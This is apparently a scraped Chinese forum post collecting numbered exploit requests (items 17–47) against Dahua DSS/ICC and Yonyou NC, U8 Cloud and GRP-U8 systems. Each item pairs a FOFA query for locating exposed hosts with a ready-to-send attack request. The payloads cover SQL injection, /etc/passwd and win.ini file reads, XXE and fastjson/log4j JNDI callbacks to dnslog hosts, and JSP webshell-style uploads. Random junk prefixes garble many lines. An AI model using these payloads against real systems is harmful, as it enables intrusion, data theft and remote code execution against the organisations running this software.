* }9 b  C7 n2 t0 d# s5 L% Ppoc中调用函数计算1234的md5值
& x; l( ^3 ^3 @8 ^" BGET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
1 g; `9 i; j3 q5 m& aConnection: close
0 }: E, M; L4 ]9 R( G1 LAccept: */*
5 N  ]6 r) C5 j4 Y$ ?- w8 RAccept-Language: en
Accept-Encoding: gzip
8 s" H# j+ x$ l9 T% f2 T+ ~

17. 大华 DSS itcBulletin SQL 注入
FOFA：app="dahua-DSS"
POST /portal/services/itcBulletin?wsdl HTTP/1.1
Host: x.x.x.x
( d7 K  t4 Q* o0 G' U5 yUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
& a/ J, w# I, V3 v6 jContent-Length: 345
Accept-Encoding: gzip
4 Y& Z2 g9 i. @! z2 d
<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
" D9 @# Q& X  X) W1 K: y8 b* m& J$ Y! D<s11:Body>
3 `' }2 _5 c, F5 _# z    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
      <netMarkings>
       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
      </netMarkings>
; S' C, M9 `( t3 T' ?) P: }5 e    </ns1:deleteBulletin>
( u- g: m1 A4 e4 [; C  </s11:Body>
% h3 F( g0 t6 W% O</s11:Envelope>
, c4 r( }6 r' I5 J* p( n+ G" O5 v% K
+ k* N; L, h8 M" A% b! |
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
FOFA：app="dahua-DSS"
GET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
3 ]/ w6 e  [7 p) |+ q  qAccept: */*
Connection: keep-alive


; a0 w& F. y5 U: H2 {
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
! b2 f) b$ @# [; v7 K0 zFOFA：app="dahua-DSS"
3 T) v) S3 x1 ^  q8 |! c/ _% h0 |# h( ?1 B. qGET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
Host:
/ ]) ^" {$ L% k1 y: fUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
* }" N$ Y5 }% ]1 d

20. 大华ICC智能物联综合管理平台任意文件读取
FOFA：body="*客户端会小于800*"
GET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
! Z4 j2 X/ E1 pConnection: close
Accept: */*
# l1 i9 O, Y$ S; ]7 v9 SAccept-Language: en
Accept-Encoding: gzip

+ R5 I& [+ p$ s6 ^
( e  }% f! L% O  O21. 大华ICC智能物联综合管理平台random远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
$ \- }9 m  @: w- ^% y, l8 kHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
8 _1 \7 N: y4 Z& MContent-Length: 161
; V( l3 Z4 }) h# bAccept-Encoding: gzip
Connection: close
5 c/ ~. S9 v5 W+ fContent-Type: application/json;charset=utf-8

8 Y7 [) X8 @* B& ~& g& Q1 D{
7 f5 D: R+ o) @( f; V"a":{
   "@type":"com.alibaba.fastjson.JSONObject",
    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
  }""
}

/ I' j/ S( v" ]% i% T8 Z
22. 大华ICC智能物联综合管理平台 log4j远程代码执行
9 Q2 J( m3 ~+ I8 n$ j; CFOFA：icon_hash="-1935899595"
POST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
/ e) e1 N& @1 U* b$ |: |3 b3 E* ^Host: your-ip
% h1 G! V; a( k' ^, X" cUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
4 k2 E+ s- ^* D3 G/ SContent-Type: application/json;charset=utf-8
: z' a( \5 ~! a
2 s; K: Q8 U( C{
"loginName":"${jndi:ldap://dnslog}"
6 t& B" e# u# F  A: E: ^! P2 J}
1 U( U8 f0 k- K% i1 w1 o3 u- ~


& j5 ?; d* D9 y! l  a23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
FOFA：icon_hash="-1935899595"
1 ]- [/ s$ N$ _1 iPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: your-ip
- v6 j* h( i- [' v, g/ v; ^$ Z: H( wUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json;charset=utf-8
Accept-Encoding: gzip
Connection: close
2 q. {* W! s5 `
{
2 o& H; L2 i# Q0 r    "a":{
        "@type":"com.alibaba.fastjson.JSONObject",
" i$ r& Z" l+ L2 O       {"@type":"java.net.URL","val":"http://DNSLOG"}
+ @( s0 S. N4 |        }""
}

9 l: l' S" u! Y( `6 s' }
; P& N% N  R6 n  f. _1 X# _24. 用友NC 6.5 accept.jsp任意文件上传
FOFA：icon_hash="1085941792"
( j8 {  n/ |; I* Z& A0 f$ l# RPOST /aim/equipmap/accept.jsp HTTP/1.1
, y9 Z  f9 X2 kHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
( R3 S0 u" K5 |0 Y7 @6 cConnection: close
( g* H! \5 w+ V' |Content-Length: 449
Accept: */*
Accept-Encoding: gzip
: S9 @. N% C8 q, FContent-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc

  p# `# j4 j* U-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
& B: D* K7 I  GContent-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
Content-Type: text/plain

<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
& q+ {8 j6 }5 i1 v8 V-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="fname"
, L, y0 h  ?# C2 u& x9 p6 d/ M
' |. Z% a9 N" b( s\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--
4 R8 y' K' S# t! Y3 r' }% {* x! I
& }$ [( ^- l4 C& B) A
% Q* x" ], a% h  y% B25. 用友NC registerServlet JNDI 远程代码执行
; m/ ^0 v: h. v) w4 O3 t: O6 wFOFA：app="用友-UFIDA-NC"
POST /portal/registerServlet HTTP/1.1
% O. g6 F9 J3 F$ X0 }0 E% @. n- @: THost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
! A* G' N9 u( R; ^/ l) e5 rAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
Content-Type: application/x-www-form-urlencoded

9 B% [- s( l0 }+ S5 l( J5 G$ ftype=1&dsname=ldap://dnslog
8 a: c1 s; G' v6 Z" I5 g( y


26. 用友NC linkVoucher SQL注入
FOFA：app="用友-UFIDA-NC"
' V# R- u# i1 o+ uGET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
& I. \) C3 g3 v. [# w1 T# [* aHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
; a& e4 d& I6 Z: FAccept-Encoding: gzip, deflate
# o% W; u+ ~6 ?2 mAccept: */*
* b/ E: q: d  H* P/ G+ zConnection: keep-alive
. d. g+ M' U& w3 T9 \
* t  }! W- x+ u5 `, D0 Y, ]
8 p2 y/ v+ ]1 w. H: D0 t7 y0 A- _27. 用友 NC showcontent SQL注入
6 H  X7 J, s& N3 R' bFOFA：icon_hash="1085941792"
5 A3 u7 k$ b, Z9 v# i% }: wGET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
" n' n2 n6 K. T- p) ?Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
8 u" U* \) M  d6 U  MAccept-Encoding: identity
Connection: close
Content-Type: text/xml; charset=utf-8

5 P1 f! R$ S) f  Z  W: o: n
28. 用友NC grouptemplet 任意文件上传
FOFA：icon_hash="1085941792"
! m( P2 \  K- N* ?3 CPOST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
# w8 }2 O: Q( U9 JHost: x.x.x.x
* f- Y/ y( r& M. mUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Connection: close
) O( _$ j6 U( }( `Content-Length: 268
9 o9 H: s; e. r, YContent-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
, t  W& A8 S* |: F- x( @' D& q" VAccept-Encoding: gzip

------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
: x$ \# P# T& x, O: BContent-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
9 _: O6 T: u& O, DContent-Type: application/octet-stream
3 N/ H- y1 j* m+ ?8 b
<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--

4 t+ @% `2 R% @. ?/ o
/uapim/static/pages/nc/head.jsp
+ P/ D# ?/ d  p! p1 A5 y1 v. B0 |
29. 用友NC down/bill SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
/ ?- o3 m) C* V; D# |/ oGET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
* g, ^; C( W; OHost: your-ip
6 j* |1 [3 C$ a4 |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
! i; G6 _- u- Y+ L% J  ], r( n$ HAccept-Encoding: gzip, deflate
Accept: */*
$ [& X) P0 G2 J1 o* |6 r& JConnection: keep-alive


30. 用友NC importPml SQL注入
7 E* G9 b2 G% {- G5 U" r) mFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
POST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
. p. W* s  y" HHost: your-ip
" ~0 _1 ~6 ^) F( H" zContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
( w3 A' ?8 G# E2 b" S% P+ u# o, T7 RUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Connection: close
/ ?3 J5 P- a, ^$ v8 j
------WebKitFormBoundaryH970hbttBhoCyj9V
8 N" e( q' k. }$ ?5 ]5 xContent-Disposition: form-data; name="Filedata"; filename="1.jpg"
Content-Type: image/jpeg
& N) U2 n. `! X8 ~- Z2 z/ S2 t9 r------WebKitFormBoundaryH970hbttBhoCyj9V--


' z3 m& J1 {* O31. 用友NC runStateServlet SQL注入
version<=6.5
0 h9 k0 W. X( G" ?1 N. WFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
# S$ a' Z: G7 q+ g6 Z+ n8 I/ Z2 `7 ?GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
1 y9 @3 e! A' Y: p6 i; E* x( gHost: host
  Y! `* T+ ~$ M( _& K0 G' h0 {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded

, s7 [% z5 T/ s4 }( S; P, ~
1 g' |! u6 k  _0 i" k32. 用友NC complainbilldetail SQL注入
version= NC633、NC65
. s: ~( `/ }1 f( d+ m+ @; d# EFOFA：app="用友-UFIDA-NC"
GET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
3 I' c. e! H( o5 z0 eHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
% j" C  t, K4 }/ B7 tAccept: */*
. b: A- [" a1 K, S7 a( f/ [4 qConnection: keep-alive
/ }, }4 G: ^+ K+ F% x

33. 用友NC downTax/download SQL注入
3 y) g) Q0 e8 R! ?4 Z: |version：NC6.5FOFA：app="用友-UFIDA-NC"
GET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
) p9 C" @: c, s6 t) P8 sUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
, Q- ^+ z" d6 E) EAccept-Encoding: gzip, deflate
Accept: */*
0 ?+ V7 n/ U, N5 xConnection: keep-alive


' P$ L. s5 m. h5 N- P# R, L( F34. 用友NC warningDetailInfo接口SQL注入
) \$ q$ l  a$ ?& m- zFOFA：app="用友-UFIDA-NC"
  f1 z+ u6 i1 ]# fGET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
0 n" N0 P5 Z% ?9 ~Host: your-ip
2 J0 F3 C* }$ }! ^4 pUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
# R. Z- W" B% U5 [! J2 XContent-Type: application/x-www-form-urlencoded
- f$ ~( e* D) i" d) j6 NAccept-Encoding: gzip, deflate
Accept: */*
$ X2 F6 j. V' {, eConnection: keep-alive
4 ^. d. b" f# I' I8 V2 k" A
) A: R+ _- s* h$ Z8 f' M4 b
35. 用友NC-Cloud importhttpscer任意文件上传
) g* U: \% U+ q! |( V. o+ z. b* GFOFA：app="用友-NC-Cloud"
$ u7 j8 F- v. mPOST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
Host: 203.25.218.166:8888
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
$ c. X2 r  A7 h1 a: mAccept-Encoding: gzip, deflate
Accept: */*
5 T! ]4 U8 P$ H( k# G' ^Connection: close
/ Y) T3 d6 K7 e1 yaccessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
Content-Length: 190
Content-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0
  R+ d9 ^2 F, A$ M2 p/ H" P7 \
7 E( T" I% c) `& @5 d--fd28cb44e829ed1c197ec3bc71748df0
0 W* Y! X% x. y* {+ m! {Content-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"

<%out.println(1111*1111);%>
--fd28cb44e829ed1c197ec3bc71748df0--

2 b  m2 W6 b. p# x4 ?2 [
36. 用友NC-Cloud soapFormat XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
2 o& Y1 y! k' n- p' L9 \" \POST /uapws/soapFormat.ajax HTTP/1.1
Host: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Content-Length: 263
# b" e$ J# V* k- H, a: qAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
$ o) F* |( z7 ?- S7 g6 |1 HAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
$ q- Z3 j: |7 F! ~8 a5 r" wContent-Type: application/x-www-form-urlencoded
$ X5 O7 G( i5 V7 R. }: v  oUpgrade-Insecure-Requests: 1

msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a
; d% y5 E+ r* p! x1 @

37. 用友NC-Cloud IUpdateService XXE
9 x2 d' C0 E+ ?1 GFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
! c8 b* k! U( W- N1 j6 mPOST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
Host: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
2 ~  u$ k* k! H( c6 H1 [Content-Length: 421
7 E+ w) e7 D$ P) b, q# XAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
6 N% X' g: M4 O+ k7 j8 _+ M# uContent-Type: text/xml;charset=UTF-8
SOAPAction: urn:getResult
1 C( I) V- c& U; n1 q# uUpgrade-Insecure-Requests: 1

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
+ l, h8 Q+ K7 \3 W9 ?* G3 q" T<soapenv:Header/>
<soapenv:Body>
7 ]* F; t# B1 g+ _<iup:getResult>
/ M+ X: A: p) |" s<!--type: string-->
# g/ Y* v2 u, n3 Y0 Q+ A1 e<iup:string><![CDATA[
9 o/ T3 w7 y4 a, `) P; s! R<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
<xxx/>]]></iup:string>
</iup:getResult>
$ ^) k3 \3 a) K: T</soapenv:Body>
</soapenv:Envelope>
# l( Z4 `% X' n! }) m
  i: B# A! E. ^/ }6 _
* m1 I% P/ W/ q  d* \+ r
; h& L3 U9 S: J6 Z1 w38. 用友U8 Cloud smartweb2.RPC.d XXE
6 ?: s9 k. ?1 H0 X# f. r( _FOFA：app="用友-U8-Cloud"
POST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
3 x* G+ M: q3 A9 }! w& cHost: 192.168.40.131:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
Content-Length: 260
9 Y; P1 \2 R$ Q( N" f. E; HAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
1 c' ?5 {* G2 A6 _4 tAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
9 Y; |5 M; A8 E: {$ OContent-Type: application/x-www-form-urlencoded

__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>

- t. _/ f/ @, U' s* t0 L2 t
39. 用友U8 Cloud RegisterServlet SQL注入
# i3 x! K* j  _& v' s) s1 r* eFOFA：title="u8c"
( j' Z7 Q9 g0 Q! CPOST /servlet/RegisterServlet HTTP/1.1
Host: 192.168.86.128:8089
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Length: 85
Accept: */*
Accept-Language: en
; k) J7 f& E: N9 ^3 B* J: sContent-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
+ r" o) A& g* {) `; kAccept-Encoding: gzip

usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--
" u2 x( h: H4 }+ ]: ]. ]" F

40. 用友U8-Cloud XChangeServlet XXE
* e; D, P# Y3 g* _4 R: DFOFA：app="用友-U8-Cloud"
POST /service/XChangeServlet HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Content-Type: text/xml
+ g! B' ~$ o; \Connection: close
5 w: q8 a5 k" d/ k2 h- `$ U& {7 L4 u
<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>
, R! F% x8 b9 e* _" ]" T

41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
FOFA：app="用友-U8-Cloud"
GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
Host:
, V. [5 J3 S" N4 T) iUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
0 I  X9 D' D6 I) }# @Content-Type: application/json
5 D( w' n7 ~7 KAccept-Encoding: gzip
Connection: close


42. 用友GRP-U8 SmartUpload01 文件上传
FOFA：app="用友-GRP-U8"
POST /u8qx/SmartUpload01.jsp HTTP/1.1
Host: x.x.x.x
! B+ L6 @7 K% B: q4 z) m7 Y- c3 L" r2 K6 qContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
3 }+ x8 r1 f# e8 q. A1 {; X, LUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
+ w, X+ |* R, S( |
6 _( D" K7 q, i) sPAYLOAD

  z, K! m, k8 H5 Z9 W, K8 }
http://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml

8 a0 b0 t0 Q+ T; C  @43. 用友GRP-U8 userInfoWeb SQL注入致RCE
  u8 H8 g% G  v% xFOFA：app="用友-GRP-U8"
POST /services/userInfoWeb HTTP/1.1
Host: your-ip
" u' h; I6 H: e+ }( @$ WUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
$ h3 p" _& _* P" gAccept-Encoding: gzip, deflate
0 W' z7 s9 T! d& Y) k% }Accept-Language: zh-CN,zh;q=0.9
; b- l+ M/ c% bConnection: close
SOAPAction:
Content-Type: text/xml;charset=UTF-8
) T2 H8 _& ^/ K4 ?" G* I
' P8 u+ L  x1 Y<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
8 \/ Y, s1 z5 D# @   <soapenv:Header/>
   <soapenv:Body>
2 l6 |; |- x# t( h" v4 l      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
      </ser:getUserNameById>
   </soapenv:Body>
</soapenv:Envelope>
$ g7 ^, x- w) c$ Q% ?: m7 M6 V8 R

0 H- F& F0 A  G" w& b! f44. 用友GRP-U8 bx_dj_check.jsp SQL注入
( Q+ }7 H! o  S8 [1 jFOFA:app="用友-GRP-U8"
5 W" O. ~- g- V9 y! c- c" f- ?: ZGET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
: o& p$ x9 h* K5 nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
( c& e' d7 D0 v$ c* k( O! ]4 M: kAccept-Encoding: gzip, deflate
. `/ U' \% e# f0 xAccept-Language: zh-CN,zh;q=0.9
Connection: close
+ J) Y3 l3 R  P7 `: |  N
3 s# j( j$ x3 s5 D( v5 K
4 Z1 F5 N. N0 B, d% a: U. ~6 `- y6 w45. 用友GRP-U8 ufgovbank XXE
. [8 a1 R7 T. _/ J" v' IFOFA：app="用友-GRP-U8"
  v# B0 p0 d( o& ^9 A" C& cPOST /ufgovbank HTTP/1.1
Host: 192.168.40.130:222
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
, }# z& ^$ v5 ZConnection: close
, U' B. n. T' D9 c$ JContent-Length: 161
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 i1 z- [! O1 {" WContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
: I1 x$ N7 a1 v$ f* m
1 n& b( Y2 ~+ R4 `reqData=<?xml version="1.0"?>
4 ~1 w8 g' ]! m% f; k( j: Y<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest

9 V( Y$ e& y0 l  v: B* [1 y
$ {8 |  D$ A3 k% N3 z# Y4 ~6 B46. 用友GRP-U8 sqcxIndex.jsp SQL注入
2 k- C. ~8 d, Q4 Q6 z; x+ NFOFA：app="用友-GRP-U8"
% M& L' q2 b3 [GET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
; z9 p# B6 K7 M" i! ~Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
3 T& V4 x' T# F  o" ]- I0 G. d/ DAccept-Language: zh-CN,zh;q=0.9
Connection: close

" H' O+ A( t- b' }( P- k
, L; C- E1 m4 x/ E5 H47. 用友GRP A++Cloud 政府财务云 任意文件读取
) i3 F$ O6 I9 W. _* q' UFOFA：body="/pf/portal/login/css/fonts/style.css"
' \/ i* z/ |( d* ?GET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
Host: x.x.x.x
% Z* `3 L( |+ N2 f& @3 VCache-Control: max-age=0
* Q8 y  y5 }. _9 E# qUpgrade-Insecure-Requests: 1
